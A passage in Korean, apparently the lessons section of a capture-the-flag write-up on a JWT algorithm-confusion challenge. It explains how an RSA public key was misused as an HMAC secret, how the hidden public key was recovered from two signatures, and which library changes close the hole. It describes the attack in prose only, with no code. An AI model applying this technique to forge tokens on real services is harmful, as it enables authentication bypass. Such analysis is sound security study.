근본 원인은 "검증에 쓸 키" 하나를 문자열로 들고 다니면서 alg 에 따라 의미를 바꾼 데 있다. 공개키는 공개돼도 되는 값이고 HMAC 키는 그렇지 않은데, 둘 다 string 이라 바꿔 끼워도 타입 검사에 걸리지 않는다.
Node 15 이상의 crypto.KeyObject 를 쓰면 공개키 객체를 HMAC 자리에 넘길 때 런타임이 거부한다. jsonwebtoken 9.x 가 키를 KeyObject 로 변환해 들고 다니도록 바뀐 것도 같은 이유다. 라이브러리를 올리는 것만으로 이 부류의 혼동은 상당 부분 닫힌다.
공개키는 공개여도, 모르는 상태를 방어선으로 삼지는 말아야 한다
이 문제의 설계자는 공개키를 노출하지 않는 것으로 난도를 올렸다. 그런데 공개키는 애초에 서명 안에 들어 있다. 서명 두 개와 e 만 알면 모듈러스가 나오고, 거기서 PEM 전체가 복원된다. 요청 두 번과 CPU 1분이면 충분했다.
"공개키를 숨겨 뒀으니 괜찮다"는 가정은 처음부터 성립하지 않는다. 공개키의 비밀성은 어떤 보안 속성도 보장하지 않는다. 반대로 말하면, 공개키를 비밀키처럼 쓰는 코드가 있다면 그 코드는 이미 비밀이 없는 상태다.
admin 비밀번호에 FLAG 를 넣는 설계도 신호다
accounts.admin.password 가 FLAG 라서 정상 로그인 경로는 애초에 닫혀 있었다. 뒤집어 보면, 애플리케이션이 평문 비밀번호를 메모리에 들고 매 요청마다 해시를 다시 계산하고 있다는 뜻이기도 하다. timingSafeEqual 을 쓴 성의가 무색하게, 비교 대상 자체를 매번 새로 만들고 있었다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…